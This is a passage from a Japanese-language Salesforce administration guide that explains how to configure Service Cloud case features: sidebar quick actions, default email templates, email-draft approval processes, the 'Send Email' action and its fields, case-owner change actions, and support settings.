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コンソールサイドバーへのグローバルアクションとカスタムクイックアクショ
ンのコンポーネントとしての追加

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud ライセンス付属)

ユーザ権限

アクションを作成する
• 「アプリケーションの

カスタマイズ」

カスタムコンソールコン
ポーネントを追加する
• 「アプリケーションの

カスタマイズ」

サービスコンソールサイドバーにグローバルアクションとカスタムクイックア
クションをコンポーネントとして追加できるため、エージェントはレコードの
作成、ケース情報の更新、関連情報の検索、親レコードへのリンクのすべてを
現在のタブから移動することなく実行できます。クイックアクションを使用し
て、[ケースの詳細] ページを置き換えることができるため、エージェントは、取
引先責任者や納入商品など、ケース関連情報をメインワークフローで表示でき
ます。
1. グローバルアクション (作成アクション用) とカスタムクイックアクション (更

新アクション用) を作成します。
作成アクションは、グローバルクイックアクションである必要があります。
更新アクションは、参照項目オブジェクト種別に基づくオブジェクト固有の
クイックアクションである必要があります。たとえば、取引先責任者の参照
項目を更新するには、取引先責任者固有の更新アクションが必要です。

2. アクションをコンポーネントとしてケースページレイアウトに追加し、エー
ジェントがそのクイックアクションを使用できるようにします。
a. [設定] から、[クイック検索] ボックスに「ケース」と入力し、[ページレイ

アウト] を選択します。
b. クイックアクションを追加するページを選択し、[編集] をクリックしま

す。
c. [ケースレイアウト] ページで、[カスタムコンソールコンポーネント] を選択します。
d. コンポーネントを追加するサイドバーセクション ([左サイドバー] セクションなど) に移動します。
e. [種別] で [ルックアップ] を選択します。
f. [項目] で、クイックアクションが実行される関連項目を選択します。
g. サポートエージェントがレコードを検索して関連レコードにリンクできるようにするため、[リンクを

有効化]を選択します。たとえば、サポートエージェントは取引先責任者名をケースにリンクできます。
h. [作成アクション] で、レコードを作成するグローバルアクションを選択します。たとえば、グローバ

ルアクションで取引先責任者を作成できます。
i. [更新アクション] で、レコードを更新するクイックアクションを選択します。たとえば、クイックア

クションで取引先責任者の項目を更新できます。
j. [保存] をクリックします。

関連トピック:

オブジェクト固有のクイックアクションの作成
グローバルクイックアクションの作成
グローバルクイックアクションの作成
Salesforce Classic のページレイアウトへのコンソールコンポーネントの追加
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ケースフィードのデフォルトメールテンプレートの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

デフォルトメールテンプ
レートを有効化する
• 「アプリケーションの

カスタマイズ」

ケースフィードでデフォルトメールテンプレートを使用すると、サポートエー
ジェントが作業をしているケースの種類に基づいて必要なテンプレートに容易
にアクセスできます。
デフォルトメールテンプレートを有効化する前に、テキスト、HTML、または
Visualforceテンプレートを作成し、テンプレート選択ロジックを含むApexクラス
を作成しておく必要があります。
デフォルトメールテンプレートを使用すると、サポートエージェントは顧客へ
の返信の迅速さ、正確さ、一貫性を容易に高めることができます。メールテン
プレートは事前に読み込まれているため、エージェントはメールを作成する前
に必要なテンプレートを参照する必要がありません。テンプレートは必要なだ
け作成でき、会社のニーズに基づいて割り当てることができます。たとえば、
サポートセンターが複数の製品に関連する問題を処理する場合、製品ごとに固
有のテンプレートを作成し、ケースの発生源、件名、またはその他の条件に基
づいて適切なテンプレートを事前に読み込むことができます。
デフォルトメールテンプレートを有効化する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「サポート設定」と入力し、[サポー

ト設定] を選択します。
2. [編集] をクリックします。
3. [デフォルトメールテンプレートを有効化] を選択します。
4. テンプレート選択ロジックを含む Apex クラスを選択します。
5. [保存] をクリックします。

関連トピック:

メールの承認プロセスの送信アクションの作成
メールドラフトの承認プロセスの作成
メールドラフトの確認と承認
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メールの承認プロセスの送信アクションの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

送信アクションを作成す
る
• 「アプリケーションの

カスタマイズ」

送信アクションを使用して、承認プロセスの最後にメールメッセージが自動的
に送信されるようにすることで、サポートエージェントの時間を節約できます。

メモ: 送信アクションは、メールドラフトを有効化している組織でのみ使
用できます。

1. [設定] から、[クイック検索] ボックスに「送信アクション」と入力し、[送信
アクション] を選択します。

2. [新規Send Action] をクリックします。
3. [オブジェクト] ドロップダウンリストから [メールメッセージ] を選択します。
4. アクションに一意の名前を入力します。
5. 必要に応じてアクションの説明を入力します。
6. [保存] をクリックします。
送信アクションを作成したら、そのアクションを含む承認プロセスを作成しま
す。

関連トピック:

ケースフィードのデフォルトメールテンプレートの有効化
標準ウィザードを使用した承認プロセスの作成

メールドラフトの承認プロセスの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

承認プロセスを作成する
• 「アプリケーションの

カスタマイズ」

承認プロセスでは、どのメッセージに承認が必要か、承認者を自動的に割り当
てるかどうかなどを指定して、組織でのドラフトメールメッセージの処理方法
を決定します。会社のニーズに基づいてカスタマイズした承認プロセスを作成
します。
1. ドラフトメールを有効化します。

このステップを実行しなくてもメールメッセージの承認プロセスを作成でき
ますが、このステップを実行しないで作成したプロセスは組織でメールドラ
フトが使用可能になるまでトリガされません。

2. 送信アクションを作成します。
送信アクションによりメールメッセージが承認後確実に送信されます。

3. 承認プロセスを作成します。
必ず、[承認プロセスを管理するオブジェクト:] ドロップダウンリストから、
メールメッセージを選択してください。
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4. シニアサポートエージェントなど特定のユーザが承認のためのメールメッセージを送信するか、単にメッ
セージを送信するかを選択できるようにするために、それらのユーザに「メール承認をスキップ」権限が選
択されているプロファイルを割り当てます。

関連トピック:

標準ウィザードを使用した承認プロセスの作成
ケースフィードのデフォルトメールテンプレートの有効化

ケースフィードのアクションおよびフィード条件の名称変更

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アクションおよびフィー
ド条件を名称変更する
• 「アプリケーションの

カスタマイズ」

または

「設定・定義を参照す
る」

および

翻訳者として指定され
ていること

会社が使用する用語に一致するようにケースフィードのアクションとフィード
条件の名前を変更します。
たとえば、会社がポータルをカスタマーコミュニティと呼んでいる場合は、[ポー
タル] アクションを「カスタマーコミュニティ」という名前に変更できます。
1. [設定] から、[クイック検索]ボックスに「タブと表示ラベルの名称変更」と入

力し、[タブと表示ラベルの名称変更] を選択します。
2. 標準タブのリストのケースの横にある [編集] をクリックします。
3. [次へ] をクリックします。
4. [その他の表示ラベル] リストで変更する表示ラベルを見つけます。
5. 表示ラベルの横のテキストボックスに表示ラベルの新しい名前を入力しま

す。
6. 新しい表示ラベルが母音で始まる場合は、[母音で始まる場合はチェック] を

オンにします。
7. [保存] をクリックします。
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Lightning Experience のケースの設定
エディション

使用可能なエディション:
Lightning Experience

ユーザ権限

Lightning Experience のケー
スを設定する
• 「ケースの管理」

および

「アプリケーションの
カスタマイズ」

Lightning Experience でケースフィードを使用する前に、クイックアクションで標
準パブリッシャーを再作成する必要があります。
クイックアクションはモバイルデバイスに表示されますが、標準ケースフィー
ドパブリッシャーは表示されません。ケースのフィードファーストデザインを
使用するには、これらのパブリッシャーをクイックアクションとして再作成し
ます。
• 活動の記録クイックアクションの作成
• 状況の変更クイックアクションの作成

関連トピック:

Lightning Experience のケースページレイアウトへのクイックアクションの追加

ケースの [メールを送信] クイックアクションの作成

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[メールを送信] クイックア
クションを作成および変
更する
• 「ケースの管理」およ

び「アプリケーション
のカスタマイズ」

ページレイアウトを編集
する
• 「アプリケーションの

カスタマイズ」

[メールを送信] クイックアクションを作成して、エージェントがLightning Experience

および Salesforce1 のケースフィードからメールを送信できるようにします。
ケースオブジェクトで [メールを送信] クイックアクションを使用するには、メー
ル-to-ケースを有効にしておく必要があります。
新規組織でメール-to-ケースを有効にすると、デフォルトで [メールを送信] クイッ
クアクションが作成されます。組織が Spring '17 より前に作成されたか、Spring '17

より前にメール-to-ケースを有効にした場合は、[メールを送信] クイックアクショ
ンを作成します。
1. [メールを送信] クイックアクションを作成します。

a. [設定] から、[クイック検索] ボックスに「ケース」と入力し、[ボタン、リ
ンク、およびアクション] を選択します。

b. [新規アクション]をクリックします。
c. [アクション種別] 選択リストで、[メールを送信] を選択します。
d. [標準の表示ラベル種別] 項目で、このアクションの表示ラベルを選択し

ます。アクションをケースページレイアウトに追加すると、この表示ラ
ベルがアクションバーに表示されます。

e. [名前] 項目は自動的に入力されます。この名前は API と管理パッケージ
で使用されます。先頭は英字にする、英数字文字とアンダースコアのみ
を使用する、末尾をアンダースコアにしない、アンダースコアを 2 つ続けないという制約があります。
API の使用に習熟している場合を除き、この項目は編集しないことをお勧めします。

f. [説明] 項目で、このアクションの機能を説明します。説明は、アクションの詳細ページと、[ボタン、
リンク、およびアクション] ページのリストに表示されます。説明はユーザには表示されません。同じ
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オブジェクトに対して複数のアクションを作成する場合、「ケースの [メールを送信] クイックアクショ
ン」など、詳細な説明を使用することをお勧めします。

g. [保存] をクリックします。
メールレイアウトページが開き、メールアクションに表示される項目を指定できます。

2. 必要に応じてメール項目の順序を並び替えます。エージェントがクイックアクションを選択すると、メー
ル項目がこの順序で表示されます。
a. [メールメッセージ項目] メニューから、項目をメールレイアウトにドラッグします。項目を削除するに

は、メールレイアウトから [メールメッセージ項目] セクションにドラッグします。
[宛先アドレス], [差出人]選択リスト、[件名]、および [テキスト内容]項目はデフォルトで追加されま
す。項目に関する詳細は、「[メールを送信] クイックアクションで使用可能な項目」を参照してくださ
い。
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b. 項目を参照のみまたは必須にするには、レンチアイコンをクリックして、項目プロパティを指定しま
す。

c. 項目プロパティを保存するには、[OK] をクリックします。
d. [保存] をクリックします。

[メールを送信] クイックアクションを定義したら、ケースページレイアウトに追加してエージェントが使用で
きるようにします。

関連トピック:

Lightning Experience のケースページレイアウトへのクイックアクションの追加
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[メールを送信] クイックアクションを使用したデフォルトメールテンプレートの適用

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[メールを送信] クイックア
クションを作成および変
更する
• 「ケースの管理」およ

び「アプリケーション
のカスタマイズ」

ページレイアウトを編集
する
• 「アプリケーションの

カスタマイズ」

エージェントが Lightning Experience および Salesforce1 で顧客にメールを書くとき
に、デフォルトのメールテンプレートを使用してブランドを組み込み、一貫性
を維持できるようにします。メールテンプレートを使用すると、エージェント
が顧客へのメールに挨拶、お知らせ、免責事項、会社の連絡先情報など共通の
情報を容易に挿入できます。
ケースオブジェクトで [メールを送信] クイックアクションを使用するには、メー
ル-to-ケースを有効にしておく必要があります。
デフォルトのメールテンプレートを指定する [メールを送信] クイックアクショ
ンを作成する前に、種類が [カスタム] のメールテンプレートを作成します。種
類が [カスタム] のテンプレートのみがサポートされます。メールテンプレート
に指定された添付ファイルはサポートされません。ただし、エージェントはメー
ルクイックアクションを使用するときに手動で添付ファイルを追加できます。
1. [メールを送信] クイックアクションを作成するか、既存の [メールを送信] ク

イックアクションを変更します。
a. [設定] から、[クイック検索] ボックスに「ケース」と入力し、[ボタン、リ

ンク、およびアクション] を選択します。
b. [新規アクション]をクリックするか、変更するクイックアクションを選択

します。
c. [アクション種別] 選択リストで、[メールを送信] を選択します。
d. [デフォルトメールテンプレート]項目で、ルックアップボタンをクリックし、テンプレートを選択しま

す。
ルックアップメニューには、種類が [カスタム] のメールテンプレートのみが表示されます。

e. 必要に応じて、[テンプレートの件名を適用しない] を選択してメールテンプレートの件名を無視しま
す。
デフォルトでは、[メールを送信] クイックアクションは、デフォルトメールテンプレートで指定された
件名を適用します。たとえば、テンプレートの件名行が「Thanks for your email」の場合、エージェントが
メールアクションを使用してメールの作成または返信を行うとその件名が適用されます。[テンプレー
トの件名を適用しない] が選択されている場合、メールに定義されている件名はメールに適用されませ
ん。たとえば、顧客が件名「Please help」でメールを送信した場合、エージェントはデフォルトメールテ
ンプレートを使用して返信し、顧客の件名行はそのまま残すことができます。

f. アクションの表示ラベルを指定します。デフォルトの表示ラベルが入力される標準表示ラベル種別を使
用するか、[標準の表示ラベル種別]項目でなしを選択し、独自の表示ラベルを指定できます。アクショ
ンをケースページレイアウトに追加すると、この表示ラベルがアクションバーに表示されます。

g. [名前]項目は自動的に入力されます。この名前は API と管理パッケージで使用されます。先頭は英字に
する、英数字文字とアンダースコアのみを使用する、末尾をアンダースコアにしない、アンダースコア
を 2 つ続けないという制約があります。API の使用に習熟している場合を除き、この項目は編集しない
ことをお勧めします。

h. [説明] 項目で、このアクションの機能を説明します。説明は、アクションの詳細ページと、[ボタン、
リンク、およびアクション] ページのリストに表示されます。説明はユーザには表示されません。同じ
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オブジェクトに対して複数のアクションを作成する場合、「祝祭日用のブランドを設定したメールを顧
客に送信」など、詳細な説明を使用することをお勧めします。

i. [保存] をクリックします。
メールレイアウトページが開き、メールアクションに表示される項目を指定できます。

2. テンプレートに適切なメール本文項目があることを確認します。
[テキスト内容]項目はデフォルトで [メールを送信] クイックアクションに追加されます。メールテンプレー
トで画像または HTML 書式を使用する場合、[テキスト内容] 項目を削除して [HTML 内容] 項目をメールレ
イアウトに追加します。

3. [保存] をクリックします。
[メールを送信] クイックアクションを定義したら、ケースページレイアウトに追加してエージェントが使用で
きるようにします。

関連トピック:

Lightning Experience のケースページレイアウトへのクイックアクションの追加
[メールを送信] クイックアクションで使用可能な項目

[メールを送信] クイックアクションで使用可能な項目

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

[メールメッセージ項目] パレットからメールレイアウトに項目をドラッグできま
す。

表 46 : [メールを送信] クイックアクションで使用可能な項目
説明項目

空のスペースをメールレイアウトに追
加します。この項目はメールレイアウ
ト内で複数回使用できます。

空白スペース

エージェントが BCC アドレスを入力で
きるメールヘッダー項目。

BCC アドレス

[BCC アドレス] が [宛先アドレス] 項
目を含むメールレイアウトに追加され
ると、[BCC アドレス] 項目は折りた
たまれ、ケースページレイアウトの
メールレイアウトにはリンクとして表
示されます。エージェントが BCC リン
クをクリックすると、項目が展開さ
れ、再度折りたたまれることはありま
せん。この項目が必須の場合、横に赤
い線が表示され、項目は常に展開され
ます。
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説明項目

エージェントが CC アドレスを入力できるメールヘッ
ダー項目。

CC アドレス

[CC アドレス] が [宛先アドレス] 項目を含むメール
レイアウトに追加されると、[CC アドレス]項目は折
りたたまれ、ケースページレイアウトのメールレイア
ウトにはリンクとして表示されます。エージェントが
CC リンクをクリックすると、項目が展開され、再度
折りたたまれることはありません。この項目が必須の
場合、横に赤い線が表示され、項目は常に展開されま
す。

エージェントが差出人メールアドレスを選択リスト
(ドロップダウンリスト) から入力できるメールヘッ
ダー項目。

差出人

エージェントは、組織全体のメールアドレス、メール
-to-ケースのメールアドレス、およびエージェント自
身のメールアドレスからアドレスを選択できます。
Winter '17 以降に作成された新規組織では、[差出人]

選択リストが [メールを送信] アクションにデフォルト
で追加されます。Winter '17 以降に [メールを送信] アク
ションを作成すると、デフォルトで [差出人] 選択リ
ストがメールレイアウトに追加されます。

エージェントが差出人メールアドレスを入力できる
メールヘッダー項目。[送信元アドレス] 項目はテキ
スト項目です。

送信元アドレス

HTML 書式と画像をサポートするメール本文項目。HTML 内容

[メールを送信] クイックアクションに HTML 書式を含
むデフォルトメールテンプレートを設定した場合は、
[HTML 内容]項目をメールレイアウトに追加します。

コミュニティケースフィードが有効化されている場
合、IsExternallyVisible で、コミュニティでの
メールの外部表示が制御されます。

外部から参照可能

詳細は、API ガイドの「EmailMessage」を参照してくだ
さい。

親ケースレコード ID の項目。親ケース
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説明項目

取引先、商談、キャンペーン、ケース、カスタムオブ
ジェクトなど、関連オブジェクトのレコード ID の項
目。

関連先

詳細は、API ガイドの「EmailMessage」を参照してくだ
さい。

エージェントが件名を入力できるメールヘッダー項
目。

件名

プレーンテキストのみをサポートするメール本文項
目。

テキスト内容

エージェントが宛先メールアドレスを入力できるメー
ルヘッダー項目。

宛先アドレス

関連トピック:

ケースの [メールを送信] クイックアクションの作成
[メールを送信] クイックアクションを使用したデフォルトメールテンプレートの適用

活動の記録クイックアクションの作成

エディション

使用可能なエディション:
Lightning Experience

ユーザ権限

Lightning Experience のケー
スを設定する
• 「ケースの管理」

および

「アプリケーションの
カスタマイズ」

Lightning Experienceでケースフィードを使用する前に、[活動の記録] パブリッシャー
をクイックアクションとして再作成する必要があります。
1. ケースのオブジェクト管理設定から、[ボタン、リンク、およびアクション]

に移動します。
2. [新規アクション]をクリックします。
3. [アクション種別] の下で、[活動の記録] を選択します。
4. [標準の表示ラベル種別] の下で、[活動の記録] を選択します。
5. [保存] をクリックします。
6. ユーザに表示される項目を選択するには、アクションのレイアウトをカスタ

マイズし、[保存] をクリックします。
7. ケースページレイアウトで、新しいクイックアクションを [Salesforce1 および

Lightning Experienceアクション]セクションにドラッグし、[保存]をクリックし
ます。

関連トピック:

Lightning Experience のケースの設定
オブジェクト固有のクイックアクションの作成
Lightning Experience のケースページレイアウトへのクイックアクションの追加
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状況の変更クイックアクションの作成

エディション

使用可能なエディション:
Lightning Experience

ユーザ権限

Lightning Experience のケー
スを設定する
• 「ケースの管理」

および

「アプリケーションの
カスタマイズ」

Lightning Experienceでケースフィードを使用する前に、[状況の変更] パブリッシャー
をクイックアクションとして再作成する必要があります。
1. ケースのオブジェクト管理設定から、[ボタン、リンク、およびアクション]

に移動します。
2. [新規アクション]をクリックします。
3. [アクション種別] の下で、[レコードを更新] を選択します。
4. [標準の表示ラベル種別] の下で、[状況の変更] を選択します。
5. [保存] をクリックします。
6. ユーザに表示される項目を選択するには、アクションのレイアウトをカスタ

マイズし、[保存] をクリックします。
7. ケースページレイアウトで、新しいクイックアクションを [Salesforce1 および

Lightning Experienceアクション]セクションにドラッグし、[保存]をクリックし
ます。

関連トピック:

Lightning Experience のケースの設定
オブジェクト固有のクイックアクションの作成
Lightning Experience のケースページレイアウトへのクイックアクションの追加

ケース所有者を変更するクイックアクションの作成

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[メールを送信] クイックア
クションを作成および変
更する
• 「ケースの管理」およ

び「アプリケーション
のカスタマイズ」

ページレイアウトを編集
する
• 「アプリケーションの

カスタマイズ」

[レコードを更新] クイックアクションをケースページレイアウトに追加して、
エージェントが Lightning Experience で簡単にケースを再割り当てできるようにし
ます。
ケースは次の要素に再割り当てできます。
• コミュニティパートナーユーザ
• コミュニティポータルユーザ
• キュー
• ユーザ

メモ: クイックアクションを使用してケース所有者を変更する場合、ケー
スの所有者のみが変更されます。ケースに関連付けられている関連活動、
メモ、および ToDo の所有者は変更されません。

1. [設定] から、[クイック検索] ボックスに「ケース」と入力し、[ボタン、リン
ク、およびアクション] を選択します。

2. [新規アクション]をクリックします。
3. [アクション種別] 選択リストで、[レコードを更新] を選択します。
4. [標準の表示ラベル種別] 選択リストで、なし を選択します。
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5. [表示ラベル]項目に、このアクションの名前を入力します。アクションをケースページレイアウトに追加
すると、この表示ラベルがアクションバーに表示されます。
例: Transfer Case (ケースの移行) や Update Case Owner (ケース所有者を更新) など。

6. [名前] 項目は自動的に入力されます。この名前は API と管理パッケージで使用されます。先頭は英字にす
る、英数字文字とアンダースコアのみを使用する、末尾をアンダースコアにしない、アンダースコアを 2

つ続けないという制約があります。API の使用に習熟している場合を除き、この項目は編集しないことをお
勧めします。

7. [説明] 項目で、このアクションの機能を説明します。説明は、アクションの詳細ページと、[ボタン、リ
ンク、およびアクション] ページのリストに表示されます。説明はユーザには表示されません。同じオブ
ジェクトに対して複数のアクションを作成する場合、詳細な説明を使用することをお勧めします。

8. [保存] をクリックします。
アクションレイアウトページが開き、クイックアクションに表示される項目を指定できます。

9. アクションレイアウトで、[ケース所有者] 項目をパレットからクイックアクションレイアウトにドラッグ
します。
項目を参照のみまたは必須にするには、レンチアイコンをクリックして、項目プロパティを指定します。

10. [保存] をクリックします。
更新クイックアクションを定義したら、ケースページレイアウトに追加してエージェントが使用できるように
します。

関連トピック:

Lightning Experience のケースページレイアウトへのクイックアクションの追加

Lightning Experience のケースページレイアウトへのクイックアクションの追加

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ページレイアウトを編集
する
• 「アプリケーションの

カスタマイズ」

アクションをエージェントが使用できるようにするには、ケースページレイア
ウトの [Salesforce1 および Lightning Experience アクション] セクションにアクション
を追加します。
標準アクションとカスタムアクションをページレイアウトに追加します。カス
タムアクションを作成すると、パレットに表示されます。
パレットからページレイアウトにアクションをドラッグアンドドロップできま
す。
1. クイックアクションをケースページレイアウトに追加します。

a. [設定] から、[クイック検索] ボックスに「ケース」と入力し、[ページレイ
アウト] を選択します。

b. アクションを追加するページレイアウトを選択し、[編集]をクリックしま
す。

c. [Salesforce1 および Lightning のアクション] をクリックします。
d. アクションを [Salesforce1 および Lightning Experience アクション] セクションにドラッグし、アクションを

表示する場所に配置します。
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e. [保存] をクリックします。

コンタクトセンターの自動化

カスタマーサポートの設定
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用できるサポート設定
のオプションは、
Salesforce のエディション
によって異なります。

組織でケースとソリューションを使用している場合は、自動化サポート機能を
設定して、サポートプロセスを効率化できます。
[設定] から次の操作を実行します。
• [クイック検索] ボックスに「営業時間」と入力し、[営業時間] を選択して組

織のサポート時間を設定します。
• [クイック検索]ボックスに「割り当てルール」と入力し、[ケースの割り当て

ルール] を選択してケースの自動転送ルールを作成します。
• [クイック検索]ボックスに「エスカレーションルール」と入力し、[エスカレー

ションルール] を選択してケースの自動エスカレーションルールを作成しま
す。

• [クイック検索]ボックスに「サポート設定」と入力し、[サポート設定]を選択して、メールテンプレートと
自動化サポート機能のデフォルトをカスタマイズします。

• [クイック検索] ボックスに「自動レスポンスルール」と入力し、[ケース自動レスポンスルール] を選択し
て、顧客が次のいずれかからケースを送信した場合に、顧客にメールを送信するルールを設定します。
– Web-to-ケースのフォーム
– メール-to-ケースのメッセージ
– オンデマンドメール-to-ケースのメッセージ
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– カスタマーポータル
– セルフサービスポータル

• [クイック検索]ボックスに「メール-to-ケース」と入力し、[メール-to-ケース]を選択して、顧客のメール
をケースとして取得する機能を設定します。それぞれの顧客のメールの内容から自動的にケースを作成す
るかを設定します。

ソリューション関連のサポート機能は、[設定] から、[クイック検索]ボックスに「ソリューション」と入力し、
次の操作を実行します。
• ユーザが自ら作成したソリューションを分類できるようにカテゴリを設定するには、[ソリューションカテ

ゴリ] を選択します。
• ソリューションに対して特定のオプションを有効にするには、[ソリューション設定] を選択します。
ソリューション関連の追加サポート機能は、[設定] から、[クイック検索] ボックスに「セルフサービス」と入
力し、次の操作を実行します。
• 顧客がソリューションを検索するときに使用する公開ソリューションを設定するには、[公開ソリューショ

ン] を選択します。
• Web サイトからケースを取得できるようにするには、[Web-to-ケース] を選択します。
• 顧客がケースをログに記録し、ソリューションを検索できるように組織の Web ポータルを設定するには、

セルフサービスポータルの下にある [設定] を選択します。

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できません。既存の組織は、引き続
きセルフサービスポータルを使用できます。

Salesforceカスタマーポータル関連のサポート機能は、[設定] から、[クイック検索]ボックスに「カスタマーポー
タル」と入力し、次の操作を実行します。
• 顧客がケースを登録し、ソリューションを検索して、作成した任意のカスタムオブジェクトにアクセスで

きるように組織のカスタマーポータルを設定するには、[カスタマーポータル設定] を選択します。
Salesforce CRM Call Center 関連のサポート機能は、[設定] から、[クイック検索] ボックスに「コールセンター」と
入力し、次の操作を実行します。
• 新規コールセンターを設定し、そのコールセンターに割り当てられたユーザを管理するには、[コールセン

ター] を選択します。
• コールセンターユーザの電話帳内で検索できる追加の電話番号を設定するには、[ディレクトリ番号] を選

択します。
• コールセンターユーザのソフトフォンに通話情報を表示するレイアウトを設定するには、[ソフトフォンレ

イアウト] を選択します。
ケースまたはカスタムオブジェクトのサポートキューを作成するには、[設定] から、[クイック検索]ボックス
に「キュー」と入力し、[キュー] を選択します。
サポート機能には、ケースが Web 経由または手動で作成されたとき、またはケースが解決されたときに顧客
に通知する機能などがあります。また、ケースがエスカレーション、作成、または再割り当てされたときに
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ユーザに自動的に通知することもできます。通知メールを使用するには、各種通知に使用するメールテンプ
レートを作成する必要があります。

関連トピック:

システム管理者向けヒント集: カスタマーサポートの設定
システム管理者向けヒント集: セルフサービスポータルを最大限に活用
システム管理者向け設定ガイド: Self-Service Implementation Guide (セルフサービス実装ガイド)

システム管理者向け設定ガイド: Case Management Implementation Guide (ケース管理実装ガイド)

サポート設定のカスタマイズ
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

サポート設定を変更する
• 「ケースの管理」

および

「アプリケーションの
カスタマイズ」

さまざまなサポートプロセスを有効化または設定して、ケース管理を自動化し
ます。メールテンプレート、デフォルトのケース所有者、ケースに関するお知
らせなどを選択します。
これらの設定を操作するには、[設定] から、[クイック検索]ボックスに「サポー
ト設定」と入力し、[サポート設定] を選択して [編集] をクリックします。

説明項目

ケース割り当てルールのいずれのエン
トリとも一致しないすべてのケース
に、自動的に割り当てられるユーザま
たはキュー。このユーザは [有効] で
ある必要があります。

デフォルトのケース所有者

ケースが割り当てられたことをデフォ
ルトのケース所有者に通知する場合
は、このチェックボックスをオンにし
ます。新規所有者がキューである場
合、通知はキューのメールアドレスに
送信されます。通知は、システムで生
成され、変更はできません。

デフォルトのケース所有者に通知する

割り当てルールを適用してユーザが作
成したケースに割り当てるレコードタ

レコードタイプの設定

イプを示します。次のいずれかを選択
します。
• 新規ケースで作成者のレコードタ

イプをそのまま使用する場合、[既
存のレコードタイプを使用する]

• 新規ケースで作成者のレコードタ
イプを上書きする場合、[既存のレ
コードタイプを任命先のデフォルト
レコードタイプで上書きする。]
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説明項目

自動ケース更新の [ケースフィード] フィード項目およ
び [ケース履歴] 関連リストに表示されるユーザ。自動

自動ケース更新ユーザ

ケース更新は、割り当てルール、エスカレーション
ルール、オンデマンドメール-to-ケース、またはセル
フサービスポータルでログインしたケースを適用する
と発生します。実行できる操作は、次のとおりです。
• システム を選択し、自動化プロセスがケースの作

成やケースの状況の変更などのアクションを実行
したことを示します。[システム] を選択すると、
参照項目はグレー表示になります。

• ユーザ を選択し、参照項目を使用して、システム
管理者などの [自動ケース更新ユーザ] になるユー
ザを指定します。このユーザは、システム管理者
のプロファイルか、「すべてのデータの編集」お
よび「メールの送信」権限を持つ必要があります。

サポートエージェントが手動でケースを作成したこと
を取引先責任者に通知するときに使用するテンプレー

ケース作成時のテンプレート

ト。通知するかどうかは任意であり、ケースの編集
ページにあるチェックボックスをオンにすると送信さ
れます。このテンプレートの設定は、[有効] になっ
ている必要があります。

システム管理者または他のユーザがケースを手動で割
り当てたことをユーザに通知するときに使用されるテ

ケース割り当て時のテンプレート

ンプレート。通知するかどうかは任意であり、[ケー
ス所有者の変更] ページにあるチェックボックスをオ
ンにすると送信されます。このテンプレートの設定
は、[有効] になっている必要があります。

ケースがクローズされたことを取引先責任者に通知す
るときに使用されるテンプレート。通知するかどうか

ケースクローズ時のテンプレート

は任意であり、[ケースのクローズ] ページにあるチェッ
クボックスをオンにすると送信されます。このテンプ
レートの設定は、[有効] になっている必要がありま
す。

メール-to-ケースや Web-to-ケース、オンデマンドメー
ル-to-ケースで作成されたケースを含め、すべてのケー

新規ケースをポータルに公開

スに対して自動的に [セルフサービスポータルに公開]

チェックボックスをオンにします。

3175

サポート設定のカスタマイズカスタマーサポートツールの設定および管理



説明項目

これがデフォルトでない場合でも、ユーザが作成した
新規ケースは、手動で [セルフサービスポータルに公
開] チェックボックスをオンにできます。
Salesforce Communities を使用している場合、コミュニ
ティのケースを表示しているパートナーまたは顧客に
はこの設定は適用されません。コミュニティの新規
ケースの表示は、共有ルールで制御されます。

ケースコメントが変更されたり、ケースコメントが
ケースに追加されたりした場合に、セルフサービス

取引先責任者へのケースコメント通知を有効化

ポータルユーザではない取引先責任者に通知するに
は、このチェックボックスをオンにします。この設定
を選択する場合は、[ケースコメントのテンプレート]

をクリックし、通知で使用するメールテンプレートを
選択します。このテンプレートの設定は、[有効] に
なっている必要があります。

ユーザが公開または非公開コメントをケースに追加し
たときに、ケース所有者に通知するには、このチェッ

ケース所有者に新規ケースコメントを通知する

クボックスをオンにします。この設定を選択すると、
ケース所有者には必ず通知が送信されます (通知は無
効なケース所有者には送信されません)。

エスカレーションルールとそのアクションのアーリー
トリガを有効にするには、このチェックボックスをオ
ンにします。
指定された時間内にケースが解決しなかった場合にア
クションを実行するエスカレーションルールを設定で

アーリートリガの有効

きます。指定した[経過時間] 時間によって、いつ
Salesforceがエスカレーションのアクションを実行する
かが決定されます。指定した[経過時間] 時間より前
にエスカレーションのアクションを確実に起動するに
は、アーリートリガを有効にします。

ケース詳細ページの[推奨ソリューション]ボタンを有
効にして、ケースを解決するためにエージェントが特

推奨ソリューションの有効化

定の解決策を提案できるようにするには、このチェッ
クボックスをオンにします。

[記事] 関連リストで推奨記事を提供するには、このオ
プションを選択します。推奨記事は、公開知識ベース

推奨記事を有効化

を除くすべてのSalesforce ナレッジチャネルで有効にで
きます。
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説明項目

ケース所有者に送信されたケースコメント、添付ファ
イル、および割り当て通知が、ケースを更新したユー

ケース通知をシステムアドレスから送信

ザのアドレスではなく、システムアドレスから送信さ
れるように指定する場合にこのチェックボックスをオ
ンにします。
システム通知の「差出人」にはメールアドレス
「noreply@salesforce.com」が表示され、「ケースコメン
ト通知」など、メッセージに関連したメールの「表示
名」が表示されます。
このチェックボックスをオンにすることにより、自分
